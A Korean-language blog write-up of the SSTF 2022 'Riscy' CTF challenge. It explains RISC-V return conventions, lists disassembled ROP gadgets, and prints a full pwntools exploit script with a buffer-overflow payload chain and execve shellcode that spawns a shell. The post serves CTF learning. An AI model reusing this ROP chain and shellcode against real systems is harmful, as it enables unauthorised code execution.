[CTF write up] SSTF 2022 - Riscy : Easy RISC-V ROP (Samsung CTF)

2022. 8. 23. 17:33CTF write up

ghidra risc-v

RISC-V 아키텍쳐로 컴파일된 바이너리와 risc-v qemu 바이너리 파일이 주어진다. 개인적으로 멀티아키텍쳐 문제들을 정말 싫어하지만 이번에는 주최측에서 바이너리 형태에 qemu 바이너리 파일을 주었기에 상당히 재미있게 풀었다.

 

바이너리는 NX만 걸려있으며 굉장히 단순한 오버플로우 취약점이 존재한다. 쉬워보이지만 아래와 같은 문제가 존재한다.

 

1. RISC-V에 대한 한글 레퍼런스가 거의 없고 영어 레퍼런스도 대부분 논문일 정도로 마이너함.

2. RISC-V의 ROP 가젯을 자동으로 찾아주는 툴이 없음.

 

일단 risc-v의 동작 방식은 상당히 간단하고 ROP 역시도 매우 간단한다. 대부분의 경우가 arm과 유사한데, a0~ 으로 시작하는 레지스터들이 존재하고 해당 레지스터들을 통해 인자를 전달한다. RET 과정도 역시도 arm64와 유사하게 ra 레지스터에 return할 주소를 저장해두고 ret 명령시 해당 주소로 점프한다. 이때 ret 명령을 만나기전 스택의 값을 ra 레지스터에 넣는 부분이 존재한다.

 

gadget

다음과 같이 sp를 기준으로 상단에 특정 값을 ra에 넣고 스택을 올린 후 RET를 한다. 그렇기 때문에 별다른 과정 없이 offset만 잘 맞춰주면 x86과 똑같이 ROP를 진행할 수 있다.

 

그렇다면 문제는 ROP 가젯을 찾는 것이다. ROP 체이닝 과정은 x86과 거의 똑같지만 ret 이전에 ra 레지스터에 값을 넣어주는 부분이 반드시 포함되어 있어야 되기 때문에 가젯수도 적고 찾기도 매우 어렵다. 특히 해당 바이너리는 execve 계열의 실행함수를 전부 지운 상태로 정적 컴파일되어있어서 바이너리가 상당히 큼에도 가젯이 매우 적었다.

 

obj 덤프와 ghidra로 상당히 오랜시간 동안 가젯을 찾아서 다음과 같은 가젯을 얻었다.

                                                                   LAB_00010406 
00010406 a2 60                            c.ldsp                  ra, 0x8(sp)
00010408 02 64                            c.ldsp                  s0, 0x0(sp=>local_10)
0001040a 41 01                             c.addi                  sp, 0x10
0001040c 82 80                            ret

s0 값 조작 가젯

 

 

000261ac e2 60                            c.ldsp                  ra, 0x18(sp)
000261ae 22 85                            c.mv                    __fd, s0
000261b0 42 64                            c.ldsp                  s0, 0x10(sp)
000261b2 a2 64                            c.ldsp                  s1, 0x8(sp)
000261b4 02 69                            c.ldsp                  s2, 0x0(sp=>local_20)
000261b6 05 61                             c.addi16sp           sp, 0x20
000261b8 82 80                            ret

s0, s1, s2 조작 가젯

 

문제는 a0~ 가젯이 인자를 넘겨주는 레지스터인데 정작 찾은 가젯들은 s0~s2 조작 가젯이다. 하지만 해당 가젯들만으로 exploit 할 수 있으며, 실제로 쓴건 위에 s0을 조작하는 가젯뿐이고 아래 가젯은 쓰지도 않았다(.....)

 

main::start

바이너리에서 사용자의 입력 값을 read하는 부분을 잘 보면 buf 인자를 s0-0x30 값으로 준다. 따라서 s0 값을 조작하고 해당 부분으로 점프하면 임의의 메모리 쓰기가 가능하다.

 

 

 

from pwn import *

context.update(arch="riscv", os="linux")

#p = process(['qemu-riscv64', '-g', '1252','target'])
p = process(['qemu-riscv64', 'target'])

#p = remote('riscy.sstf.site',18223)

ecall = 0x10280

pay = b'a'*32
pay += b'b'*8

pay += p64(0x010406)
pay += p64(0x006f970)
pay += p64(0x0010464)
pay += p64(0x4141414141414141)
pay += p64(0x4141414141414141)
pay += p64(0x4141414141414141)
pay += p64(0x4141414141414141)
pay += p64(0x4141414141414141)

pay += p64(0x006f970-0x30) # shellcode


shellcode = b"\x01\x11\x06\xec"
shellcode +=b"\x22\xe8\x13\x04"
shellcode +=b"\x21\x02\xb7\x67"
shellcode +=b"\x69\x6e\x93\x87"
shellcode +=b"\xf7\x22\x23\x30"
shellcode +=b"\xf4\xfe\xb7\x77"
shellcode +=b"\x68\x10\x33\x48"
shellcode +=b"\x08\x01\x05\x08"
shellcode +=b"\x72\x08\xb3\x87"
shellcode +=b"\x07\x41\x93\x87"
shellcode +=b"\xf7\x32\x23\x32"
shellcode +=b"\xf4\xfe\x93\x07"
shellcode +=b"\x04\xfe\x01\x46"
shellcode +=b"\x81\x45\x3e\x85"
shellcode +=b"\x93\x08\xd0\x0d"
shellcode +=b"\x93\x06\x30\x07"
shellcode +=b"\x23\x0e\xd1\xee"
shellcode +=b"\x93\x06\xe1\xef"
shellcode +=b"\x67\x80\xe6\xff"


print(len(pay))

raw_input()
p.sendline(pay)

raw_input()
p.sendline(shellcode)

p.interactive()


#kill $(sudo lsof -t -i:8888)

 

그리고 왠지 모르게 BSS 영역에 실행 권한이(.....) 있어서 쉘코드 올리고 점프하면 그대로 실행된다.... 참고로 실행권한이 없다고 해도 dl_stack_executable을 이용하는 방법이 있긴하다.